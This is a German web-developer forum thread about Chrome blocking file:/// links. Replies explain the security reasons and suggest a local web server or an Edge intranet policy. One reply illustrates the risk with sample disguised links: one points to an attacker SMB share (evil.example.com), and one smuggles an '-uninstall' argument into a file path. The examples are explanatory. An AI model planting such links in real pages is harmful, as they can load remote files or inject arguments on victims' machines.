T-Rex: Chrome blockiert einen file:///C:/ link

Moin,

hab da einen Link zu einer statischen Seite die ich weggespeichert habe. Diesen Link würde ich gerne im html setzen.

<a href='file:///C:/undsoweiter.htm'>

Drücke ich auf den Link passiert nichts. Öffne ich es gezielt in einem neuen Tab so steht da about:blank#blocked. Die Zieladresse ist 100% richtig.

Ich verstehe das Problem vollkommen. Das man generell keine Files öffnet ist eine super Sache. Jedoch wäre es bei mir nett, dass doch tun zu können. Idealerweise auch nur wenn der Link in einer localhost Seite drin ist. Damit würde der Browser meinen eigenen Seiten vertrauen, externen aber nicht.

Aber mal generell die Frage ... wie schalte ich diese Security Einstellung ab, damit ich file:/// Links via html öffnen kann? Gibt es auch eine Lösung, dass die files bei localhost gezeigt werden und sonst nicht?

Gruß file://T:/Rex

  1. Hallo,

    hab da einen Link zu einer statischen Seite die ich weggespeichert habe. Diesen Link würde ich gerne im html setzen.

    <a href='file:///C:/undsoweiter.htm'>

    von wo aus verlinkst du auf dieses Ziel? Von einer über HTTP erreichbaren Seite? Dann ist das vermutlich ein Sicherheitsfeature des Browsers: Seiten aus dem wilden Internet dürfen nicht auf Ressourcen auf dem lokalen PC zugreifen.

    Drücke ich auf den Link passiert nichts. Öffne ich es gezielt in einem neuen Tab so steht da about:blank#blocked. Die Zieladresse ist 100% richtig.

    Das glaube ich dir gern.

    Ich verstehe das Problem vollkommen. Das man generell keine Files öffnet ist eine super Sache. Jedoch wäre es bei mir nett, dass doch tun zu können. Idealerweise auch nur wenn der Link in einer localhost Seite drin ist. Damit würde der Browser meinen eigenen Seiten vertrauen, externen aber nicht.

    Moment - localhost?? Du hast also einen lokalen Webserver? Dann wäre das Problem doch sofort gelöst, wenn du auch die lokal gespeicherte Zielseite über http://localhost/ bereitstellst.

    Aber mal generell die Frage ... wie schalte ich diese Security Einstellung ab, damit ich file:/// Links via html öffnen kann? Gibt es auch eine Lösung, dass die files bei localhost gezeigt werden und sonst nicht?

    Ob localhost oder nicht, ist IMO nur ein Teil des Problems. Der Kern ist eher: HTTP darf nicht auf das Filesystem zugreifen.

    Gruß file://T:/Rex

    *grins*

    Einen schönen Tag noch
     Martin

    --
    Мир для України.
    1. Hey Martin,

      das direkte verlinken war eigentlich nicht gewollt. Auf der Seite berechnet Javascript einiges, weshalb es auch ein paar Minuten dauerte bis die Seite fertig geladen war. Wenn ich es direkt und nicht mittels file:/// verlinke läuft das Javascript von vorne los.

      Da ich aber bis jetzt keine Brauchbare Lösung gefunden habe, lösche ich die mit runtergeladenen Javascript der Seite einfach. Dann werden sie nicht erneut ausgelöst. Ich brauche nur das html und css. Ist zwar ein kleiner Umweg, aber für mich brauchbar.

      Gruß T:///Rex

      1. Hallo user://T-Rex,

        möchtest Du uns (oder kannst Du uns) von deinem eigentlichen Problem mehr erzählen? Vielleicht finden wir was.

        Rolf@selfhtml.org

        --
        sumpsi - posui - obstruxi
        1. Hi Rolf@selfhtml.org,

          ich konnte das Problem schon selbst für mich zufriedenstellend lösen. Am Ende habe ich das Javascript angepasst und geprüft ob es von einer .php Datei aus geht. Wenn ja, dann macht es was es soll. Wenn es von einer anderen Seite kommt z.B. von einer index.htm (diese wird erzeugt, wenn man eine html-Seite speichert) wird es nicht mehr ausgelöst. Deshalb konnte ich die wegspeicherten Seiten wie Martin es empfahl, einfach im localhost (also per Webserver) aufrufen und muss nicht mehr über das Dateisystem gehen.

          Die Lösung ging dann am Ende in eine komplett andere Richtung.

          Gruß Nacht Tiger - Rex

          Edit Rolf B: Link auf das Interview nach interner Rücksprache entfernt. Ich finde es zu bedenklich.

  2. Hallo T-Rex,

    da gibt es sehr subtile Angriffsmöglichkeiten. Weißt Du, was ein UNC Pfad ist? Der schreibt sich \\server\share\ordner\data.txt. Wenn Du einen Server namens "Foo" im Haus hast, darauf eine Netzwerkfreigabe "Bar" und dort ist eine "hallo.txt", kannst Du die mit \\Foo\Bar\hallo.txt öffnen.

    Nice? Tja.

    Was ist mit \\evil.example.com\killer\pwned.docx?

    <a href="file:////evil.example.com/killer/pwned.docx">Funny Cat Video</a>
    

    würde dazu führen, dass dein Browser Word startet und das Dokument über das Internet auf deinen PC lädt. Das kann man durch passende Firewall-Einstellungen verhindern, die SMB-Pakete nicht ins Internet lassen, aber eine böse Falle ist das trotzdem.

    Ein Beispiel, das ich vorhin fand, dessen Quelle mir Google aber jetzt nicht mehr verrät, funktioniert so:

    <a href="file:////evil.example.com/funny.lit -uninstall">Best Jokes of 2022</a>
    

    Es scheint wohl .lit-Reader zu geben, die -uninstall als Parameter verstehen und sich dann selbst deinstallieren.

    Wie auch immer - in dem Moment, wo Du einen Dokumententyp bekommst, für den ein Filetype registriert ist, startet dein Windows Befehlprozessor und ruft die registrierte Anwendung mit dieser Datei auf. Und in dem Moment sind alle Sicherheitshürden gefallen.

    Ja, es gibt Szenarien, wo man das trotzdem haben will. Nicht in Firefox, vielleicht nicht in Chrome (obwohl die auch immer mehr Policy-Settings unterstützen), aber in Edge, ab Version 95. Das ist ja der Browser der Zukunft für Unternehmen (sagt MS) und darum ist er wie sein Opa, der IE, auch wie wild über Group Policies steuerbar. Ich hab das gerade ergoogelt, keine Ahnung ob es Dir nützt.

    https://docs.microsoft.com/en-us/deployedge/microsoft-edge-policies#intranetfilelinksenabled

    Diese Seite lädt - bei mir - beinah eine Minute lang. Aber dort steht die EDGE Policy beschrieben, mit der Du Links von Local Intranet https zu Local Intranet file erlauben kannst.

    Die andere Alternative ist die Bereitstellung eines Webservers, der als Proxy agiert und die Dateien über eine normale https-Leitung bereitstellt. Das hilft Dir natürlich nicht, wenn Du die Dateien auch editieren können möchtest. Dann muss ein SMB-Protokoll implementiert werden. Hab ich gelesen. Aber keine Ahnung wie es geht…

    Rolf

    --
    sumpsi - posui - obstruxi
    1. Hallo Rolf,

      <a href="file:////evil.example.com/killer/pwned.docx">Funny Cat Video</a>
      

      würde dazu führen, dass dein Browser Word startet und das Dokument über das Internet auf deinen PC lädt.

      nur mit sehr vielen ifs und buts. Vor allem wieder die Sache mit den ungefragten Downloads, die ich in den letzten Tagen mehrmals angesprochen habe. Selbst wenn der Zugriff auf die Ressource durchgeht (was z.B. unter Windows schon an den defaultmäßig eingestellten Beschränkungen scheitert), würden meine Browser mich dann erstmal fragen, mit welchem Programm ich die Ressource öffnen oder wo ich sie speichern will.

      <a href="file:////evil.example.com/funny.lit -uninstall">Best Jokes of 2022</a>
      

      Es scheint wohl .lit-Reader zu geben, die -uninstall als Parameter verstehen und sich dann selbst deinstallieren.

      Auch das würde an der eben beschriebenen what-shall-I-do-Rückfrage scheitern.

      Wie auch immer - in dem Moment, wo Du einen Dokumententyp bekommst, für den ein Filetype registriert ist, startet dein Windows Befehlprozessor und ruft die registrierte Anwendung mit dieser Datei auf. Und in dem Moment sind alle Sicherheitshürden gefallen.

      Deswegen vorher schon die genannte Schranke.

      Die andere Alternative ist die Bereitstellung eines Webservers, der als Proxy agiert und die Dateien über eine normale https-Leitung bereitstellt.

      Das hatte ich ja schon vorgeschlagen.

      Einen schönen Tag noch
       Martin

      --
      Мир для України.